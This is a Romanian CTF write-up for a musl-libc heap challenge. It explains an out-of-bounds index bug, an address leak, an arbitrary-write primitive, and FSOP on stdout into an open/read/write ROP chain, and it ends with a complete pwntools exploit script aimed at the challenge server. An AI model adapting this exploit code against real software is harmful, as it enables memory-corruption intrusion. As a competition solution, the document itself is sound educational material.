Sumar
Vulnerabilitatea principala este lipsa verificarii limitelor pentru indexul array-urilor ptr[] si size[],
ceea ce permite citire/scriere Out-of-Bounds (OOB). Combinand acest bug cu aliasing-ul dintre cele doua
tabele (distanta fixa de 16 intrari), am reusit sa:
- leak-uri pentru heap, main si libc dintr-un singur
print - Construim o primitiva de scriere arbitrara folosind OOB edit
- Corupem structura
stdoutdin musl pentru a redirectiona executia catre un ROP chain - Executam open/read/write pentru a citi
flag.txt
Dovada rezolvarii

Binarul foloseste musl libc (din Dockerfile):

Functia main cu functiile 13E1, 14ED, 1571, 1659:

In sub_13E1 (functia care aloca memorie pe heap) am identificat ca verifica doar indexul sa fie >= 0
dar nu verifica o limita superioara. Aceasta permite OOB:

Doua tabele globale in .bss: tabelul size[] la offset 0x4060 de la main si tabelul ptr[] la offset
0x40E0 de la main. Adica distanta este de 0x80 bytes = 16 * sizeof(uint64_t):
![Tabelele size[] si ptr[] in .bss](/writeups/2026/rocsc-quals/oshi/5.webp)
Functia 1571 afiseaza continutul unui chunk. Doua buguri: nu exista bounds check pentru index, iar
lungimea vine din size[index] & 0xFFF. Daca index = 16, atunci size[16] aliaseaza ptr[0], deci
lungimea va fi ultimii 12 biti din pointerul heap:

Functia 1659 modifica continutul unui chunk existent (aceleasi buguri). Ca sa construim un arbitrary
write ne trebuie sa alocam chunk-uri astfel incat ptr[11] & 0xFFF == 0x40, ca size[27] sa aliaseze
ptr[11]:
size[27] = adresa 0x4060 + 27*8 = 0x4060 + 0xD8 = 0x4138
ptr[11] = adresa 0x40E0 + 11*8 = 0x40E0 + 0x58 = 0x4138

Pentru ca avem sansa sa folosim print doar o data, strategia este sa alocam un chunk la index 0 cu
dimensiunea de 0x200 si apoi sa apelam print cu index 16:
def alloc(io, idx, size, data):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendlineafter(b"Size: ", str(size).encode())
io.sendafter(b"Content: ", data.ljust(size, b"\x00")[:size])
def leak_once(io):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Index: ", b"16")
io.recvuntil(b"Data: ")
return io.recvn(0x180)
alloc(io, 0, 0x200, b"A" * 0x200)
leak = leak_once(io)
heap_base = u64(leak[0x00:0x08]) - 0x18
main_base = u64(leak[0x10:0x18]) - 0x4160
libc_base = u64(leak[0xB0:0xB8]) - 0xAFF40
Pentru offset trebuia sa folosim un pointer libc dirent din leak la offset 0xB0.
Ca sa obtinem arbitrary write la orice adresa facem “grooming”-ul heap-ului: alocam 15 chunk-uri cu
dimensiuni specifice pentru a pozitiona ptr[11]. Cu ptr[27] = (27-20)*8 = 0x38:
def set_ptr27(addr):
edit(io, 0, b"\x00" * 0x38 + p64(addr), 0x200)
def write_any(addr, data):
for off in range(0, len(data), 0x40):
chunk = data[off:off + 0x40]
set_ptr27(addr + off)
edit(io, 27, chunk, 0x40)
Gadget-urile pentru ORW le cautam in libc cu ROPgadget:

Challenge-ul foloseste seccomp care blocheaza execve, prin urmare citim flag-ul direct cu ORW.
Ultimul pas este FSOP: in musl, cand programul apeleaza puts("Edited."), intern se apeleaza __overflow
care face f->write(f, &c, 1). Daca dam overwrite la acest callback cu _longjmp, care citeste RSP din
stdout+0x30 si RIP din stdout+0x38, redirectionam executia catre ROP chain-ul nostru.
Solver-ul complet:
from pwn import *
context.arch = "amd64"
def alloc(io, idx, size, data):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendlineafter(b"Size: ", str(size).encode())
io.sendafter(b"Content: ", data.ljust(size, b"\x00")[:size])
def edit(io, idx, data, length):
io.sendlineafter(b"> ", b"4")
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendafter(b"New Content: ", data.ljust(length, b"\x00")[:length])
def leak(io):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Index: ", b"16")
io.recvuntil(b"Data: ")
return io.recvn(0x180)
io = remote("35.234.125.79", 32637)
alloc(io, 0, 0x200, b"A" * 0x200)
leaked = leak(io)
heap_base = u64(leaked[0x00:0x08]) - 0x18
main_base = u64(leaked[0x10:0x18]) - 0x4160
libc_base = u64(leaked[0xB0:0xB8]) - 0xAFF40
log.info(f"heap: {hex(heap_base)}")
log.info(f"main: {hex(main_base)}")
log.info(f"libc: {hex(libc_base)}")
for i, sz in enumerate(
[0x10, 0x20, 0x30, 0x40, 0x80, 0x100, 0x200, 0x300, 0x400,
0x500, 0x600, 0x700, 0x800, 0x900, 0xA00], 1):
alloc(io, i, sz, b"B" * sz)
def set_ptr(addr):
edit(io, 0, b"\x00" * 0x38 + p64(addr), 0x200)
def write_mem(addr, data):
for i in range(0, len(data), 0x40):
set_ptr(addr + i)
edit(io, 27, data[i:i + 0x40], 0x40)
pop_rdi = libc_base + 0x152A1
pop_rsi = libc_base + 0x1B0A1
pop_rdx = libc_base + 0x2A50B
longjmp = libc_base + 0x789D7
_open = libc_base + 0x1BC20
_read = libc_base + 0x72740
_write = libc_base + 0x72F10
_exit = libc_base + 0x719B0
stdout = libc_base + 0xAD280
rop_addr = heap_base + 0x500
path_addr = heap_base + 0x700
buf_addr = heap_base + 0x900
write_mem(path_addr, b"flag.txt\x00")
rop = flat([
path_addr, pop_rsi, 0, pop_rdx, 0, _open,
pop_rdi, 3, pop_rsi, buf_addr, pop_rdx, 0x80, _read,
pop_rdi, 1, pop_rsi, buf_addr, pop_rdx, 0x80, _write,
pop_rdi, 0, _exit,
])
write_mem(rop_addr, rop)
fsop = flat([1, 1, rop_addr, pop_rdi, 0, longjmp, libc_base + 0x5A240, libc_base + 0xAE608])
write_mem(stdout + 0x20, fsop)
io.recvall(timeout=2)
Rularea scoate leak-urile si flag-ul:
